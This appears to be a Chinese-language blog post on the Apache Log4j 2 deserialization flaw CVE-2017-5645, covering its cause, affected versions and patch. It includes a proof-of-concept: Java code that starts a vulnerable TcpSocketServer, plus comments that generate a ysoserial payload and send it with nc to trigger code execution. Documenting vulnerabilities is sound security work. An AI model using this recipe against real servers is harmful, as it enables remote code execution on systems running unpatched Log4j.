Apache Log4j deserialization Vuln
- 作者:c4bbage
- 链接:http://dobest1.com/log4j-deserialization-vuln/
简介
4月18日,Apache Log4j 被曝出存在一个反序列化漏洞(CVE-2017-5645),攻击者可以通过发送一个特别制作的2进制payload,在组件将字节反序列化为对象时,触发并执行构造的payload代码。
漏洞触发点
该漏洞主要是由于在处理ObjectInputStream时,接收器对于不可靠来源的input没有过滤。可以通过给TcpSocketServer和UdpSocketServer添加可配置的过滤功能以及一些相关设置,可以有效的解决该漏洞。目前Log4j官方已经发布新版本修复了该漏洞,补丁参考下载地址:http://download.nextag.com/apache/logging/log4j/2.8.2/
受影响版本
所有Apache Log4j 2.*系列版本: Apache Log4j 2.0-alpha1 – Apache Log4j 2.8.1
poc
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
import java.io.IOException;
import java.io.ObjectInputStream;
import org.apache.logging.log4j.core.net.server.TcpSocketServer;
/**
*
* @author c4bbage
*/
public class Log4jpoc2 {
/**
* @param args the command line arguments
*/
public static void main(String[] args) {
// TODO code application logic here
//java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 calc.exe > calc.bin
//nc 127.0.0.1 12312 < calc.bin
try {
TcpSocketServer<ObjectInputStream> tcpSocketServer = TcpSocketServer.createSerializedSocketServer(12312);
tcpSocketServer.run();
}
catch (Exception e){
//System.out.println(e.toString());
}
}
}